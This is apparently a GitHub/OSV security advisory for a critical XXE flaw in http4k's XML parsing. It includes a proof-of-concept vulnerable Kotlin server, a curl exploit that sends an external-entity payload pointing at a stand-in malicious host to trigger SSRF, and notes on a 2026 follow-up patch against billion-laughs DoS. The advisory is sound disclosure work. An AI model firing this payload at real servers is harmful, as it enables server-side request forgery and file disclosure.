GHSA-7mj5-hjjj-8rgw

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Source
https://github.com/advisories/GHSA-7mj5-hjjj-8rgw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-7mj5-hjjj-8rgw/GHSA-7mj5-hjjj-8rgw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7mj5-hjjj-8rgw
Aliases
Published
2024-12-12T19:22:01Z
Modified
2026-06-09T10:45:14Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
http4k has a potential XXE (XML External Entity Injection) vulnerability
Details

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Example Vulnerable server code:

import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document

fun main() {

    val xmlLens = Body.xml().toLens()

    // Create an HTTP handler
    val app: HttpHandler = { request ->
        try {
            // Parse the incoming XML payload to a Document object
            val xmlDocument: Document = xmlLens(request)

            // Extract root element name or other details from the XML
            val rootElementName = xmlDocument.documentElement.nodeName

            // Create a response XML based on the extracted information
            val responseXml = """
                <response>
                    <message>Root element is: $rootElementName</message>
                </response>
            """.trimIndent()

            // Respond with XML
            Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
        } catch (e: Exception) {
            // Handle invalid XML or other errors
            Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
        }
    }

    // Start the server
    val server = app.asServer(Netty(9000)).start()
    println("Server started on http://localhost:9000")
}

Maven dependency:

<dependencies>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-test-junit5</artifactId>
            <version>1.9.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter-engine</artifactId>
            <version>5.10.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-stdlib</artifactId>
            <version>1.9.0</version>
        </dependency>

        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-core</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- Http4k XML format -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-format-xml</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- http4k Netty -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-server-netty</artifactId>
            <version>5.40.0.0</version>
        </dependency>
    </dependencies>

Exploit payload example to trigger SSRF

curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"

Impact

What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability

Follow-up patch — v6.50.0.0 (May 2026)

The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting ACCESS_EXTERNAL_DTD="", ACCESS_EXTERNAL_SCHEMA="", and isExpandEntityReferences=false on the default DocumentBuilderFactory.

A residual gap remained: the parser still accepted documents containing <!DOCTYPE> declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using Body.xml() or Document.asXmlDocument() on untrusted XML.

v6.50.0.0 closes this residual by adding disallow-doctype-decl=true and FEATURE_SECURE_PROCESSING=true to defaultXmlParsingConfig. Any document containing a <!DOCTYPE> is now rejected at parse time.

Follow-up affected & fixed versions

Version Fixed Version
>= 5.41.0.0, < 6.50.0.0 6.50.0.0

v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact enterprise@http4k.org if you need it.

Follow-up timeline

Date/time (UTC) Notes
31/05/2026 17:12 Follow-up patch merged (commit c0cfaf5d63) with new tests for <!DOCTYPE> rejection and billion-laughs payload rejection
31/05/2026 18:06 http4k v6.50.0.0 released to Maven Central
Database specific 
{
    "cwe_ids":  [
        "CWE-200",
        "CWE-611",
        "CWE-918"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2024-12-12T19:22:01Z",
    "nvd_published_at":  "2024-12-12T19:15:13Z",
    "severity":  "CRITICAL"
}
References

Affected packages

Maven / org.http4k:http4k-format-xml

Package

Name
org.http4k:http4k-format-xml
View open source insights on deps.dev
Purl
pkg:maven/org.http4k/http4k-format-xml

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
6.50.0.0

Affected versions

v6.*
v6.3.0.0
v6.4.1.0
2.*
2.25.1
2.25.4
2.26.0
2.26.1
2.26.2
2.27.0
2.27.1
2.27.2
2.28.0
2.29.0
2.29.1
2.29.2
2.29.3
2.29.4
2.30.0
2.31.0
2.31.1
2.31.2
2.31.3
2.31.4
2.32.0
2.33.0
2.33.1
2.34.0
2.35.0
2.35.1
2.36.0
2.37.0
2.38.0
2.38.1
3.*
3.0.0
3.0.1
3.1.0
3.1.1
3.1.2
3.1.3
3.2.1
3.2.2
3.2.3
3.3.0
3.3.1
3.4.0
3.5.0
3.5.1
3.6.0
3.6.1
3.7.0
3.8.0
3.9.0
3.10.0
3.11.0
3.11.1
3.12.0
3.13.3
3.13.4
3.14.0
3.14.1
3.15.0
3.16.0
3.17.0
3.17.1
3.18.0
3.18.1
3.19.0
3.20.0
3.21.1
3.21.2
3.22.2
3.22.4
3.23.0
3.23.1
3.24.0
3.25.0
3.26.0
3.26.1
3.26.2
3.26.3
3.26.4
3.26.5
3.26.6
3.28.0
3.29.0
3.31.0
3.32.0
3.32.1
3.33.0
3.33.1
3.33.2
3.34.0
3.34.1
3.34.2
3.35.0
3.35.1
3.35.2
3.36.0
3.36.1
3.37.0
3.37.1
3.38.0
3.38.1
3.39.1
3.39.2
3.39.3
3.93.4
3.94.0
3.94.1
3.95.0
3.95.1
3.98.0
3.99.0
3.100.0
3.102.0
3.102.1
3.103.0
3.105.0
3.108.0
3.109.0
3.110.0
3.111.0
3.112.0
3.112.1
3.112.2
3.113.0
3.114.0
3.115.0
3.115.1
3.116.0
3.117.0
3.118.0
3.119.0
3.120.0
3.121.0
3.122.0
3.123.0
3.124.0
3.125.0
3.126.0
3.127.0
3.128.0
3.129.0
3.130.0
3.131.0
3.132.0
3.133.0
3.134.0
3.135.0
3.137.0
3.137.1
3.138.0
3.138.1
3.139.0
3.140.0
3.141.0
3.142.0
3.143.0
3.143.1
3.144.0
3.145.0
3.146.0
3.147.0
3.148.0
3.149.0
3.150.0
3.151.0
3.152.0
3.153.0
3.154.0
3.154.1
3.155.0
3.156.0
3.157.0
3.157.1
3.158.0
3.158.1
3.159.0
3.160.0
3.160.1
3.161.0
3.162.0
3.164.0
3.165.0
3.166.0
3.166.1
3.167.0
3.168.0
3.171.0
3.172.0
3.174.0
3.175.0
3.177.0
3.179.0
3.179.1
3.180.0
3.182.0
3.183.0
3.185.0
3.186.0
3.187.0
3.188.0
3.189.0
3.190.0
3.191.0
3.192.0
3.193.0
3.193.1
3.194.0
3.195.0
3.195.1
3.196.0
3.197.0
3.198.0
3.199.0
3.199.1
3.200.0
3.201.0
3.202.0
3.203.0
3.204.0
3.205.0
3.206.0
3.207.0
3.209.0
3.210.0
3.211.0
3.212.0
3.213.0
3.214.0
3.215.0
3.216.0
3.218.0
3.219.0
3.220.0
3.221.0
3.222.0
3.223.0
3.224.0
3.225.0
3.226.0
3.227.0
3.230.0
3.231.0
3.232.0
3.234.0
3.235.0
3.237.0
3.238.0
3.239.0
3.240.0
3.241.0
3.242.0
3.243.0
3.245.0
3.245.1
3.246.0
3.248.0
3.251.0
3.252.0
3.253.0
3.254.0
3.255.0
3.256.0
3.257.0
3.258.0
3.259.0
3.260.0
3.261.0
3.262.0
3.263.0
3.264.0
3.265.0
3.266.0
3.268.0
3.269.0
3.270.0
3.271.0
3.272.0
3.273.0
3.274.0
3.275.0
3.276.0
3.277.0
3.278.0
3.279.0
3.281.0
3.283.0
3.283.1
3.284.0
3.285.0
3.285.1
3.285.2
4.*
4.0.0.0
4.1.0.0
4.1.1.1
4.1.1.2
4.1.2.0
4.1.2.1
4.2.0.0
4.3.0.0
4.3.2.0
4.3.2.1
4.3.2.2
4.3.3.0
4.3.4.0
4.3.4.1
4.3.5.1
4.3.5.2
4.3.5.3
4.3.5.4
4.4.0.0
4.4.0.1
4.4.1.0
4.4.2.0
4.5.0.0
4.5.0.1
4.6.0.0
4.7.0.0
4.7.0.1
4.7.0.2
4.7.1.0
4.8.0.0
4.8.1.0
4.8.2.0
4.9.0.0
4.9.0.1
4.9.0.2
4.9.1.0
4.9.2.0
4.9.3.0
4.9.3.1
4.9.4.0
4.9.5.0
4.9.6.0
4.9.7.0
4.9.8.0
4.9.9.0
4.9.10.0
4.10.0.0.0
4.10.0.1
4.10.1.0
4.11.0.0
4.11.0.1
4.12.0.0
4.12.0.1
4.12.1.0
4.12.2.0
4.12.3.0
4.12.3.1
4.13.0.0
4.13.1.0
4.13.3.0
4.13.4.0
4.14.0.0
4.14.1.0
4.14.1.1
4.14.1.2
4.14.1.3
4.14.1.4
4.15.0.0
4.16.0.0
4.16.1.0
4.16.2.0
4.16.3.0
4.17.0.0
4.17.1.0
4.17.2.0
4.17.3.0
4.17.4.0
4.17.5.0
4.17.6.0
4.17.7.0
4.17.8.0
4.17.9.0
4.18.0.0
4.19.0.0
4.19.1.0
4.19.2.0
4.19.3.0
4.19.4.0
4.19.5.0
4.20.0.0
4.20.1.0
4.20.2.0
4.21.0.0
4.21.1.0
4.21.1.1
4.22.0.0
4.22.0.1
4.23.0.0
4.24.0.0
4.25.0.0
4.25.1.0
4.25.2.0
4.25.3.0
4.25.4.0
4.25.4.1
4.25.5.0
4.25.5.1
4.25.5.2
4.25.6.0
4.25.7.0
4.25.8.0
4.25.9.0
4.25.10.0
4.25.10.1
4.25.11.0
4.25.12.0
4.25.13.0
4.25.14.0
4.25.15.0
4.25.16.0
4.25.16.1
4.25.16.2
4.26.0.0
4.27.0.0
4.27.1.0
4.27.2.0
4.27.3.0
4.27.4.0
4.28.0.0
4.28.1.0
4.28.2.0
4.29.0.0
4.29.1.0
4.30.0.0
4.30.2.0
4.30.2.1
4.30.3.0
4.30.4.0
4.30.5.0
4.30.6.0
4.30.7.0
4.30.8.0
4.30.9.0
4.30.10.0
4.31.0.0
4.32.0.0
4.32.1.0
4.32.2.0
4.32.3.0
4.32.4.0
4.33.0.0
4.33.1.0
4.33.2.0
4.33.2.1
4.33.3.0
4.34.0.0
4.34.0.1
4.34.0.2
4.34.0.3
4.34.0.4
4.34.1.0
4.34.2.0
4.34.3.0
4.34.3.1
4.34.4.0
4.35.0.0
4.35.1.0
4.35.2.0
4.35.3.0
4.35.4.0
4.36.0.0
4.37.0.0
4.38.0.0
4.38.0.1
4.39.0.0
4.40.0.0
4.40.1.0
4.40.2.0
4.41.0.0
4.41.1.0
4.41.1.1
4.41.2.0
4.41.3.0
4.41.4.0
4.42.0.0
4.42.1.0
4.43.0.0
4.43.1.0
4.44.0.0
4.44.1.0
4.45.0.0
4.46.0.0
4.47.1.0
4.47.2.0
4.48.0.0
4.48.2.0
5.*
5.0.0.0
5.1.0.0
5.1.1.0
5.1.1.1
5.1.2.0
5.1.2.1
5.2.0.0
5.2.1.0
5.3.0.0
5.4.0.0
5.4.1.0
5.5.0.0
5.6.0.0
5.6.1.0
5.6.2.0
5.6.2.1
5.6.3.0
5.6.4.0
5.6.5.0
5.7.1.0
5.7.2.0
5.7.3.0
5.7.4.0
5.7.5.0
5.8.0.0
5.8.1.0
5.8.2.0
5.8.3.0
5.8.4.0
5.8.5.0
5.8.5.1
5.8.6.0
5.9.0.0
5.10.0.0
5.10.1.0
5.10.2.0
5.10.3.0
5.10.4.0
5.10.5.0
5.10.6.0
5.10.7.0
5.11.0.0
5.11.1.0
5.12.0.0
5.12.1.0
5.12.2.0
5.12.2.1
5.13.0.0
5.13.0.1
5.13.1.0
5.13.2.0
5.13.4.0
5.13.4.1
5.13.5.0
5.13.6.0
5.13.6.1
5.13.7.0
5.13.8.0
5.13.9.0
5.14.0.0
5.14.1.0
5.14.2.0
5.14.4.0
5.14.5.0
5.15.0.0
5.16.0.0
5.16.1.0
5.16.2.0
5.17.0.0
5.18.1.0
5.18.2.0
5.19.0.0
5.20.0.0
5.21.0.0
5.21.1.0
5.21.2.0
5.22.0.0
5.23.0.0
5.24.0.0
5.24.1.0
5.25.0.0
5.26.0.0
5.26.1.0
5.27.0.0
5.28.0.0
5.28.1.0
5.29.0.0
5.30.0.0
5.30.1.0
5.31.0.0
5.31.1.0
5.32.0.0
5.32.1.0
5.32.2.0
5.32.3.0
5.32.4.0
5.33.0.0
5.33.0.1
5.33.1.0
5.34.0.0
5.34.1.0
5.35.0.0
5.35.1.0
5.35.2.0
5.35.3.0
5.35.4.0
5.35.5.0
5.36.0.0
5.37.0.0
5.37.1.0
5.37.1.1
5.38.0.0
5.39.0.0
5.40.0.0
5.41.0.0
5.42.0.0
5.43.0.0
5.44.0.0
5.44.1.0
5.44.2.0
5.44.3.0
5.45.0.0
5.45.1.0
5.45.2.0
5.46.0.0
5.47.0.0
6.*
6.0.0.0
6.0.1.0
6.1.0.0
6.1.0.1
6.2.0.0
6.4.0.0
6.4.1.0
6.5.0.0
6.5.1.0
6.5.2.0
6.5.3.0
6.5.4.0
6.5.5.0
6.5.5.1
6.5.6.0
6.5.6.1
6.6.0.0
6.6.0.1
6.6.1.0
6.7.0.0
6.8.0.0
6.8.1.0
6.9.0.0
6.9.1.0
6.9.2.0
6.10.0.0
6.10.1.0
6.10.2.0
6.11.0.0
6.11.1.0
6.12.0.0
6.13.0.0
6.14.0.0
6.15.0.0
6.15.0.1
6.15.1.0
6.16.0.0
6.17.0.0
6.18.0.1
6.18.1.0
6.19.0.0
6.20.0.0
6.20.0.1
6.20.0.2
6.20.0.3
6.20.1.0
6.20.2.0
6.20.2.1
6.21.0.0
6.21.1.0
6.22.0.0
6.23.0.0
6.23.1.0
6.24.0.0
6.24.1.0
6.25.0.0
6.25.1.0
6.26.0.0
6.26.1.0
6.27.0.0
6.28.0.0
6.28.1.0
6.29.0.0
6.30.0.0
6.30.1.0
6.31.0.0
6.31.1.0
6.32.0.0
6.33.0.0
6.34.0.0
6.35.0.0
6.36.0.0
6.37.0.0
6.38.0.0
6.39.0.0
6.39.1.0
6.40.0.0
6.40.1.0
6.41.0.0
6.42.0.0
6.43.0.0
6.44.0.0
6.45.0.0
6.45.1.0
6.46.0.0
6.46.1.0
6.47.0.0
6.47.1.0
6.47.2.0
6.48.0.0
6.49.0.0

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-7mj5-hjjj-8rgw/GHSA-7mj5-hjjj-8rgw.json"